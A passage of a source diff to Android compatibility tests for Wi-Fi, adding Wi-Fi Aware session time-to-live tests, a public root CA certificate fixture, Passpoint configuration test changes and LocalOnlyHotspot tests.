+        PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
+        assertNotNull("Publish session", discoverySession);
+
+        // 2. wait for terminate within 'ttlSec'.
+        assertTrue("Publish terminated",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SESSION_TERMINATED,
+                        ttlSec + 5));
+
+        // 3. try update post-termination: should time-out waiting for cb
+        publishConfig = new PublishConfig.Builder().setServiceName(
+                serviceName).setServiceSpecificInfo("extras".getBytes()).build();
+        discoverySession.updatePublish(publishConfig);
+        assertFalse("Publish update post terminate", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        session.close();
     }
 
     /**
@@ -554,14 +611,54 @@
         // 3. destroy
         assertFalse("Subscribe not terminated", discoveryCb.hasCallbackAlreadyHappened(
                 DiscoverySessionCallbackTest.ON_SESSION_TERMINATED));
-        discoverySession.destroy();
+        discoverySession.close();
 
         // 4. try update post-destroy: should time-out waiting for cb
         discoverySession.updateSubscribe(subscribeConfig);
         assertFalse("Subscribe update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
 
-        session.destroy();
+        session.close();
+    }
+
+    /**
+     * Validate that subscribe with a Time To Live (TTL) setting expires within the specified
+     * time (and validates that the terminate callback is triggered).
+     */
+    public void testSubscribeLimitedTtlSuccess() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        final String serviceName = "ValidName";
+        final int ttlSec = 5;
+
+        WifiAwareSession session = attachAndGetSession();
+
+        SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                serviceName).setTtlSec(ttlSec).setTerminateNotificationEnabled(true).build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+
+        // 1. subscribe
+        session.subscribe(subscribeConfig, discoveryCb, mHandler);
+        assertTrue("Subscribe started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SUBSCRIBE_STARTED));
+        SubscribeDiscoverySession discoverySession = discoveryCb.getSubscribeDiscoverySession();
+        assertNotNull("Subscribe session", discoverySession);
+
+        // 2. wait for terminate within 'ttlSec'.
+        assertTrue("Subscribe terminated",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SESSION_TERMINATED,
+                        ttlSec + 5));
+
+        // 3. try update post-termination: should time-out waiting for cb
+        subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                serviceName).setServiceSpecificInfo("extras".getBytes()).build();
+        discoverySession.updateSubscribe(subscribeConfig);
+        assertFalse("Subscribe update post terminate", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        session.close();
     }
 
     /**
@@ -594,8 +691,8 @@
             // empty
         }
 
-        discoverySession.destroy();
-        session.destroy();
+        discoverySession.close();
+        session.close();
     }
 
     /**
@@ -628,8 +725,8 @@
         mConnectivityManager.requestNetwork(nr, networkCb, 2000);
         assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
 
-        discoverySession.destroy();
-        session.destroy();
+        discoverySession.close();
+        session.close();
     }
 
     /**
@@ -663,8 +760,8 @@
         mConnectivityManager.requestNetwork(nr, networkCb, 2000);
         assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
 
-        discoverySession.destroy();
-        session.destroy();
+        discoverySession.close();
+        session.close();
     }
 
     /**
@@ -691,7 +788,7 @@
         mConnectivityManager.requestNetwork(nr, networkCb, 2000);
         assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
 
-        session.destroy();
+        session.close();
     }
 
     /**
@@ -719,7 +816,7 @@
         mConnectivityManager.requestNetwork(nr, networkCb, 2000);
         assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
 
-        session.destroy();
+        session.close();
     }
 
     // local utilities
diff --git a/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java b/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java
index f422c2f..f875301 100644
--- a/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java
+++ b/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java
@@ -73,6 +73,26 @@
             "-----END CERTIFICATE-----\n";
     public static final X509Certificate CA_CERT1 = loadCertificate(CA_CERT1_STRING);
 
+    private static final String CA_PUBLIC_CERT_STRING = "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx\n" +
+            "GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds\n" +
+            "b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV\n" +
+            "BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD\n" +
+            "VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa\n" +
+            "DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc\n" +
+            "THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb\n" +
+            "Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP\n" +
+            "c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX\n" +
+            "gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV\n" +
+            "HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF\n" +
+            "AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj\n" +
+            "Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG\n" +
+            "j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH\n" +
+            "hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC\n" +
+            "X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==\n" +
+            "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_PUBLIC_CERT = loadCertificate(CA_PUBLIC_CERT_STRING);
+
     private static final String CLIENT_CERT_STR = "-----BEGIN CERTIFICATE-----\n" +
             "MIIE/DCCAuQCAQEwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxCzAJBgNV\n" +
             "BAgMAkNBMRYwFAYDVQQHDA1Nb3VudGFpbiBWaWV3MRAwDgYDVQQKDAdUZXN0aW5n\n" +
diff --git a/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java b/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java
index b5e2f77..feafd43 100644
--- a/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java
@@ -20,8 +20,6 @@
 import android.net.wifi.hotspot2.omadm.PpsMoParser;
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
-import android.net.wifi.hotspot2.pps.Policy;
-import android.net.wifi.hotspot2.pps.UpdateParameter;
 import android.test.AndroidTestCase;
 
 import java.io.BufferedReader;
@@ -72,58 +70,6 @@
         Arrays.fill(certFingerprint, (byte) 0x1f);
 
         PasspointConfiguration config = new PasspointConfiguration();
-        config.setUpdateIdentifier(12);
-        assertEquals(12, config.getUpdateIdentifier());
-        config.setCredentialPriority(99);
-        assertEquals(99, config.getCredentialPriority());
-
-        // AAA Server trust root.
-        Map<String, byte[]> trustRootCertList = new HashMap<>();
-        trustRootCertList.put("server1.trust.root.com", certFingerprint);
-        config.setTrustRootCertList(trustRootCertList);
-        assertEquals(trustRootCertList, config.getTrustRootCertList());
-
-        // Subscription update.
-        UpdateParameter subscriptionUpdate = new UpdateParameter();
-        subscriptionUpdate.setUpdateIntervalInMinutes(120);
-        assertEquals(120, subscriptionUpdate.getUpdateIntervalInMinutes());
-        subscriptionUpdate.setUpdateMethod(UpdateParameter.UPDATE_METHOD_SSP);
-        assertEquals(UpdateParameter.UPDATE_METHOD_SSP, subscriptionUpdate.getUpdateMethod());
-        subscriptionUpdate.setRestriction(UpdateParameter.UPDATE_RESTRICTION_ROAMING_PARTNER);
-        assertEquals(UpdateParameter.UPDATE_RESTRICTION_ROAMING_PARTNER,
-                subscriptionUpdate.getRestriction());
-        subscriptionUpdate.setServerUri("subscription.update.com");
-        assertEquals("subscription.update.com", subscriptionUpdate.getServerUri());
-        subscriptionUpdate.setUsername("subscriptionUser");
-        assertEquals("subscriptionUser", subscriptionUpdate.getUsername());
-        subscriptionUpdate.setBase64EncodedPassword("subscriptionPass");
-        assertEquals("subscriptionPass", subscriptionUpdate.getBase64EncodedPassword());
-        subscriptionUpdate.setTrustRootCertUrl("subscription.update.cert.com");
-        assertEquals("subscription.update.cert.com", subscriptionUpdate.getTrustRootCertUrl());
-        subscriptionUpdate.setTrustRootCertSha256Fingerprint(certFingerprint);
-        assertTrue(Arrays.equals(certFingerprint,
-                subscriptionUpdate.getTrustRootCertSha256Fingerprint()));
-        config.setSubscriptionUpdate(subscriptionUpdate);
-        assertEquals(subscriptionUpdate, config.getSubscriptionUpdate());
-
-        // Subscription parameters.
-        config.setSubscriptionCreationTimeInMs(format.parse("2016-02-01T10:00:00Z").getTime());
-        assertEquals(format.parse("2016-02-01T10:00:00Z").getTime(),
-                config.getSubscriptionCreationTimeInMs());
-        config.setSubscriptionExpirationTimeInMs(format.parse("2016-03-01T10:00:00Z").getTime());
-        assertEquals(format.parse("2016-03-01T10:00:00Z").getTime(),
-                config.getSubscriptionExpirationTimeInMs());
-        config.setSubscriptionType("Gold");
-        assertEquals("Gold", config.getSubscriptionType());
-        config.setUsageLimitDataLimit(921890);
-        assertEquals(921890, config.getUsageLimitDataLimit());
-        config.setUsageLimitStartTimeInMs(format.parse("2016-12-01T10:00:00Z").getTime());
-        assertEquals(format.parse("2016-12-01T10:00:00Z").getTime(),
-                config.getUsageLimitStartTimeInMs());
-        config.setUsageLimitTimeLimitInMinutes(120);
-        assertEquals(120, config.getUsageLimitTimeLimitInMinutes());
-        config.setUsageLimitUsageTimePeriodInMinutes(99910);
-        assertEquals(99910, config.getUsageLimitUsageTimePeriodInMinutes());
 
         // HomeSP configuration.
         HomeSp homeSp = new HomeSp();
@@ -134,46 +80,18 @@
         homeSp.setRoamingConsortiumOis(new long[] {0x112233L, 0x445566L});
         assertTrue(Arrays.equals(new long[] {0x112233L, 0x445566L},
                 homeSp.getRoamingConsortiumOis()));
-        homeSp.setIconUrl("icon.test.com");
-        assertEquals("icon.test.com", homeSp.getIconUrl());
-        Map<String, Long> homeNetworkIds = new HashMap<>();
-        homeNetworkIds.put("TestSSID", 0x12345678L);
-        homeNetworkIds.put("NullHESSID", null);
-        homeSp.setHomeNetworkIds(homeNetworkIds);
-        assertEquals(homeNetworkIds, homeSp.getHomeNetworkIds());
-        homeSp.setMatchAllOis(new long[] {0x11223344});
-        assertTrue(Arrays.equals(new long[] {0x11223344}, homeSp.getMatchAllOis()));
-        homeSp.setMatchAnyOis(new long[] {0x55667788});
-        assertTrue(Arrays.equals(new long[] {0x55667788}, homeSp.getMatchAnyOis()));
-        homeSp.setOtherHomePartners(new String[] {"other.fqdn.com"});
-        assertTrue(Arrays.equals(new String[] {"other.fqdn.com"},
-                homeSp.getOtherHomePartners()));
         config.setHomeSp(homeSp);
         assertEquals(homeSp, config.getHomeSp());
 
         // Credential configuration.
         Credential credential = new Credential();
-        credential.setCreationTimeInMs(format.parse("2016-01-01T10:00:00Z").getTime());
-        assertEquals(format.parse("2016-01-01T10:00:00Z").getTime(),
-                credential.getCreationTimeInMs());
-        credential.setExpirationTimeInMs(format.parse("2016-02-01T10:00:00Z").getTime());
-        assertEquals(format.parse("2016-02-01T10:00:00Z").getTime(),
-                credential.getExpirationTimeInMs());
         credential.setRealm("shaken.stirred.com");
         assertEquals("shaken.stirred.com", credential.getRealm());
-        credential.setCheckAaaServerCertStatus(true);
-        assertTrue(credential.getCheckAaaServerCertStatus());
         Credential.UserCredential userCredential = new Credential.UserCredential();
         userCredential.setUsername("james");
         assertEquals("james", userCredential.getUsername());
         userCredential.setPassword("Ym9uZDAwNw==");
         assertEquals("Ym9uZDAwNw==", userCredential.getPassword());
-        userCredential.setMachineManaged(true);
-        assertTrue(userCredential.getMachineManaged());
-        userCredential.setSoftTokenApp("TestApp");
-        assertEquals("TestApp", userCredential.getSoftTokenApp());
-        userCredential.setAbleToShare(true);
-        assertTrue(userCredential.getAbleToShare());
         userCredential.setEapType(21);
         assertEquals(21, userCredential.getEapType());
         userCredential.setNonEapInnerMethod("MS-CHAP-V2");
@@ -196,70 +114,6 @@
         assertEquals(simCredential, credential.getSimCredential());
         config.setCredential(credential);
         assertEquals(credential, config.getCredential());
-
-        // Policy configuration.
-        Policy policy = new Policy();
-        List<Policy.RoamingPartner> preferredRoamingPartnerList = new ArrayList<>();
-        Policy.RoamingPartner partner1 = new Policy.RoamingPartner();
-        partner1.setFqdn("test1.fqdn.com");
-        assertEquals("test1.fqdn.com", partner1.getFqdn());
-        partner1.setFqdnExactMatch(true);
-        assertTrue(partner1.getFqdnExactMatch());
-        partner1.setPriority(127);
-        assertEquals(127, partner1.getPriority());
-        partner1.setCountries("us,fr");
-        assertEquals("us,fr", partner1.getCountries());
-        Policy.RoamingPartner partner2 = new Policy.RoamingPartner();
-        partner2.setFqdn("test2.fqdn.com");
-        assertEquals("test2.fqdn.com", partner2.getFqdn());
-        partner2.setFqdnExactMatch(false);
-        assertFalse(partner2.getFqdnExactMatch());
-        partner2.setPriority(200);
-        assertEquals(200, partner2.getPriority());
-        partner2.setCountries("*");
-        assertEquals("*", partner2.getCountries());
-        preferredRoamingPartnerList.add(partner1);
-        preferredRoamingPartnerList.add(partner2);
-        policy.setPreferredRoamingPartnerList(preferredRoamingPartnerList);
-        assertEquals(preferredRoamingPartnerList, policy.getPreferredRoamingPartnerList());
-        policy.setMinHomeDownlinkBandwidth(23412);
-        assertEquals(23412, policy.getMinHomeDownlinkBandwidth());
-        policy.setMinHomeUplinkBandwidth(9823);
-        assertEquals(9823, policy.getMinHomeUplinkBandwidth());
-        policy.setMinRoamingDownlinkBandwidth(9271);
-        assertEquals(9271, policy.getMinRoamingDownlinkBandwidth());
-        policy.setMinRoamingUplinkBandwidth(2315);
-        assertEquals(2315, policy.getMinRoamingUplinkBandwidth());
-        policy.setExcludedSsidList(new String[] {"excludeSSID"});
-        assertTrue(Arrays.equals(new String[] {"excludeSSID"}, policy.getExcludedSsidList()));
-        Map<Integer, String> requiredProtoPortMap = new HashMap<>();
-        requiredProtoPortMap.put(12, "34,92,234");
-        policy.setRequiredProtoPortMap(requiredProtoPortMap);
-        assertEquals(requiredProtoPortMap, policy.getRequiredProtoPortMap());
-        policy.setMaximumBssLoadValue(23);
-        assertEquals(23, policy.getMaximumBssLoadValue());
-        UpdateParameter policyUpdate = new UpdateParameter();
-        policyUpdate.setUpdateIntervalInMinutes(120);
-        assertEquals(120, policyUpdate.getUpdateIntervalInMinutes());
-        policyUpdate.setUpdateMethod(UpdateParameter.UPDATE_METHOD_OMADM);
-        assertEquals(UpdateParameter.UPDATE_METHOD_OMADM, policyUpdate.getUpdateMethod());
-        policyUpdate.setRestriction(UpdateParameter.UPDATE_RESTRICTION_HOMESP);
-        assertEquals(UpdateParameter.UPDATE_RESTRICTION_HOMESP, policyUpdate.getRestriction());
-        policyUpdate.setServerUri("policy.update.com");
-        assertEquals("policy.update.com", policyUpdate.getServerUri());
-        policyUpdate.setUsername("updateUser");
-        assertEquals("updateUser", policyUpdate.getUsername());
-        policyUpdate.setBase64EncodedPassword("updatePass");
-        assertEquals("updatePass", policyUpdate.getBase64EncodedPassword());
-        policyUpdate.setTrustRootCertUrl("update.cert.com");
-        assertEquals("update.cert.com", policyUpdate.getTrustRootCertUrl());
-        policyUpdate.setTrustRootCertSha256Fingerprint(certFingerprint);
-        assertTrue(Arrays.equals(certFingerprint,
-                policyUpdate.getTrustRootCertSha256Fingerprint()));
-        policy.setPolicyUpdate(policyUpdate);
-        assertEquals(policyUpdate, policy.getPolicyUpdate());
-        config.setPolicy(policy);
-        assertEquals(policy, config.getPolicy());
         return config;
     }
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 696d215..5983cb7 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -21,7 +21,6 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.cts.util.PollingCheck;
 import android.net.wifi.SupplicantState;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
@@ -29,6 +28,8 @@
 import android.net.wifi.WifiSsid;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.concurrent.Callable;
 
 public class WifiInfoTest extends AndroidTestCase {
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index f05ff82..ea63f78 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -59,6 +59,7 @@
     private static MySync mMySync;
     private List<ScanResult> mScanResults = null;
     private NetworkInfo mNetworkInfo;
+    private Object mLOHSLock = new Object();
 
     // Please refer to WifiManager
     private static final int MIN_RSSI = -100;
@@ -173,14 +174,25 @@
 
     private void setWifiEnabled(boolean enable) throws Exception {
         synchronized (mMySync) {
-            assertTrue(mWifiManager.setWifiEnabled(enable));
             if (mWifiManager.isWifiEnabled() != enable) {
+                // the new state is different, we expect it to change
                 mMySync.expectedState = STATE_WIFI_CHANGING;
-                long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
-                int expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
-                while (System.currentTimeMillis() < timeout
-                        && mMySync.expectedState != expectedState)
-                    mMySync.wait(WAIT_MSEC);
+            } else {
+                mMySync.expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+            }
+            // now trigger the change
+            assertTrue(mWifiManager.setWifiEnabled(enable));
+            waitForExpectedWifiState(enable);
+        }
+    }
+
+    private void waitForExpectedWifiState(boolean enabled) throws InterruptedException {
+        synchronized (mMySync) {
+            long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+            int expected = (enabled ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+            while (System.currentTimeMillis() < timeout
+                    && mMySync.expectedState != expected) {
+                mMySync.wait(WAIT_MSEC);
             }
         }
     }
@@ -188,6 +200,7 @@
     private void startScan() throws Exception {
         synchronized (mMySync) {
             mMySync.expectedState = STATE_SCANNING;
+            mScanResults = null;
             assertTrue(mWifiManager.startScan());
             long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
             while (System.currentTimeMillis() < timeout && mMySync.expectedState == STATE_SCANNING)
@@ -239,11 +252,17 @@
         assertTrue(mWifiManager.reconnect());
         assertTrue(mWifiManager.reassociate());
         assertTrue(mWifiManager.disconnect());
-        assertTrue(mWifiManager.pingSupplicant());
-        startScan();
         setWifiEnabled(false);
+        startScan();
         Thread.sleep(DURATION);
-        assertTrue(mWifiManager.pingSupplicant() == mWifiManager.isScanAlwaysAvailable());
+        if (mWifiManager.isScanAlwaysAvailable()) {
+            // Make sure at least one AP is found.
+            assertNotNull("mScanResult should not be null!", mScanResults);
+            assertFalse("empty scan results!", mScanResults.isEmpty());
+        } else {
+            // Make sure no scan results are available.
+            assertNull("mScanResult should be null!", mScanResults);
+        }
         final String TAG = "Test";
         assertNotNull(mWifiManager.createWifiLock(TAG));
         assertNotNull(mWifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL, TAG));
@@ -366,6 +385,7 @@
 
             wifiConfiguration = new WifiConfiguration();
             wifiConfiguration.SSID = SSID1;
+            wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
             int netId = mWifiManager.addNetwork(wifiConfiguration);
             assertTrue(existSSID(SSID1));
 
@@ -510,6 +530,13 @@
         }
         assertTrue(mWifiManager.isWifiEnabled());
 
+        // give the test a chance to autoconnect
+        Thread.sleep(DURATION);
+        if (mNetworkInfo.getState() != NetworkInfo.State.CONNECTED) {
+            // this test requires a connectable network be configured
+            fail("This test requires a wifi network connection.");
+        }
+
         // This will generate a distinct stack trace if the initial connection fails.
         connectWifi();
 
@@ -556,6 +583,10 @@
      * @throws Exception
      */
     public void testAddPasspointConfigWithUserCredential() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
         testAddPasspointConfig(generatePasspointConfig(generateUserCredential()));
     }
 
@@ -566,6 +597,10 @@
      * @throws Exception
      */
     public void testAddPasspointConfigWithCertCredential() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
         testAddPasspointConfig(generatePasspointConfig(generateCertCredential()));
     }
 
@@ -576,6 +611,10 @@
      * @throws Exception
      */
     public void testAddPasspointConfigWithSimCredential() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
         testAddPasspointConfig(generatePasspointConfig(generateSimCredential()));
     }
 
@@ -592,6 +631,7 @@
         HomeSp homeSp = new HomeSp();
         homeSp.setFqdn("Test.com");
         homeSp.setFriendlyName("Test Provider");
+        homeSp.setRoamingConsortiumOis(new long[] {0x11223344});
         config.setHomeSp(homeSp);
 
         return config;
@@ -611,7 +651,7 @@
         userCred.setPassword("password");
         userCred.setNonEapInnerMethod("PAP");
         credential.setUserCredential(userCred);
-        credential.setCaCertificate(FakeKeys.CA_CERT0);
+        credential.setCaCertificate(FakeKeys.CA_PUBLIC_CERT);
         return credential;
     }
 
@@ -628,7 +668,7 @@
         certCredential.setCertSha256Fingerprint(
                 MessageDigest.getInstance("SHA-256").digest(FakeKeys.CLIENT_CERT.getEncoded()));
         credential.setCertCredential(certCredential);
-        credential.setCaCertificate(FakeKeys.CA_CERT0);
+        credential.setCaCertificate(FakeKeys.CA_PUBLIC_CERT);
         credential.setClientCertificateChain(new X509Certificate[] {FakeKeys.CLIENT_CERT});
         credential.setClientPrivateKey(FakeKeys.RSA_KEY1);
         return credential;
@@ -656,22 +696,185 @@
      * @param config The configuration to test with
      */
     private void testAddPasspointConfig(PasspointConfiguration config) throws Exception {
-        mWifiManager.addOrUpdatePasspointConfiguration(config);
+        try {
+            mWifiManager.addOrUpdatePasspointConfiguration(config);
 
-        // Certificates and keys will be set to null after it is installed to the KeyStore by
-        // WifiManager.  Reset them in the expected config so that it can be used to compare
-        // against the retrieved config.
-        config.getCredential().setCaCertificate(null);
-        config.getCredential().setClientCertificateChain(null);
-        config.getCredential().setClientPrivateKey(null);
+            // Certificates and keys will be set to null after it is installed to the KeyStore by
+            // WifiManager.  Reset them in the expected config so that it can be used to compare
+            // against the retrieved config.
+            config.getCredential().setCaCertificate(null);
+            config.getCredential().setClientCertificateChain(null);
+            config.getCredential().setClientPrivateKey(null);
 
-        // Retrieve the configuration and verify it.
-        List<PasspointConfiguration> configList = mWifiManager.getPasspointConfigurations();
-        assertEquals(1, configList.size());
-        assertEquals(config, configList.get(0));
+            // Retrieve the configuration and verify it.
+            List<PasspointConfiguration> configList = mWifiManager.getPasspointConfigurations();
+            assertEquals(1, configList.size());
+            assertEquals(config, configList.get(0));
 
-        // Remove the configuration and verify no installed configuration.
-        mWifiManager.removePasspointConfiguration(config.getHomeSp().getFqdn());
-        assertTrue(mWifiManager.getPasspointConfigurations().isEmpty());
+            // Remove the configuration and verify no installed configuration.
+            mWifiManager.removePasspointConfiguration(config.getHomeSp().getFqdn());
+            assertTrue(mWifiManager.getPasspointConfigurations().isEmpty());
+        } catch (UnsupportedOperationException e) {
+            // Passpoint build config |config_wifi_hotspot2_enabled| is disabled, so noop.
+        }
+    }
+
+    public class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
+        Object hotspotLock;
+        WifiManager.LocalOnlyHotspotReservation reservation = null;
+        boolean onStartedCalled = false;
+        boolean onStoppedCalled = false;
+        boolean onFailedCalled = false;
+        int failureReason = -1;
+
+        TestLocalOnlyHotspotCallback(Object lock) {
+            hotspotLock = lock;
+        }
+
+        @Override
+        public void onStarted(WifiManager.LocalOnlyHotspotReservation r) {
+            synchronized (hotspotLock) {
+                reservation = r;
+                onStartedCalled = true;
+                hotspotLock.notify();
+            }
+        }
+
+        @Override
+        public void onStopped() {
+            synchronized (hotspotLock) {
+                onStoppedCalled = true;
+                hotspotLock.notify();
+            }
+        }
+
+        @Override
+        public void onFailed(int reason) {
+            synchronized (hotspotLock) {
+                onFailedCalled = true;
+                failureReason = reason;
+                hotspotLock.notify();
+            }
+        }
+    }
+
+    private TestLocalOnlyHotspotCallback startLocalOnlyHotspot() {
+        // Location mode must be enabled for this test
+        if (!isLocationEnabled()) {
+            fail("Please enable location for this test");
+        }
+
+        TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLOHSLock);
+        synchronized (mLOHSLock) {
+            try {
+                mWifiManager.startLocalOnlyHotspot(callback, null);
+                // now wait for callback
+                mLOHSLock.wait(DURATION);
+            } catch (InterruptedException e) {
+            }
+            // check if we got the callback
+            assertTrue(callback.onStartedCalled);
+            assertNotNull(callback.reservation.getWifiConfiguration());
+            assertFalse(callback.onFailedCalled);
+            assertFalse(callback.onStoppedCalled);
+        }
+        return callback;
+    }
+
+    private void stopLocalOnlyHotspot(TestLocalOnlyHotspotCallback callback, boolean wifiEnabled) {
+       synchronized (mMySync) {
+           // we are expecting a new state
+           mMySync.expectedState = STATE_WIFI_CHANGING;
+
+           // now shut down LocalOnlyHotspot
+           callback.reservation.close();
+
+           try {
+               waitForExpectedWifiState(wifiEnabled);
+           } catch (InterruptedException e) {}
+        }
+    }
+
+    /**
+     * Verify that calls to startLocalOnlyHotspot succeed with proper permissions.
+     *
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testStartLocalOnlyHotspotSuccess() {
+        // first check that softap mode is supported by the device
+        if (!mWifiManager.isPortableHotspotSupported()) {
+            return;
+        }
+
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+    }
+
+    /**
+     * Verify calls to setWifiEnabled from a non-settings app while softap mode is active do not
+     * exit softap mode.
+     *
+     * This test uses the LocalOnlyHotspot API to enter softap mode.  This should also be true when
+     * tethering is started.
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testSetWifiEnabledByAppDoesNotStopHotspot() {
+        // first check that softap mode is supported by the device
+        if (!mWifiManager.isPortableHotspotSupported()) {
+            return;
+        }
+
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        // now we should fail to turn on wifi
+        assertFalse(mWifiManager.setWifiEnabled(true));
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+    }
+
+    /**
+     * Verify that applications can only have one registered LocalOnlyHotspot request at a time.
+     *
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testStartLocalOnlyHotspotSingleRequestByApps() {
+        // first check that softap mode is supported by the device
+        if (!mWifiManager.isPortableHotspotSupported()) {
+            return;
+        }
+
+        boolean caughtException = false;
+
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        // now make a second request - this should fail.
+        TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLOHSLock);
+        try {
+            mWifiManager.startLocalOnlyHotspot(callback2, null);
+        } catch (IllegalStateException e) {
+            Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
+            caughtException = true;
+        }
+        assertTrue(caughtException);
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
     }
 }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
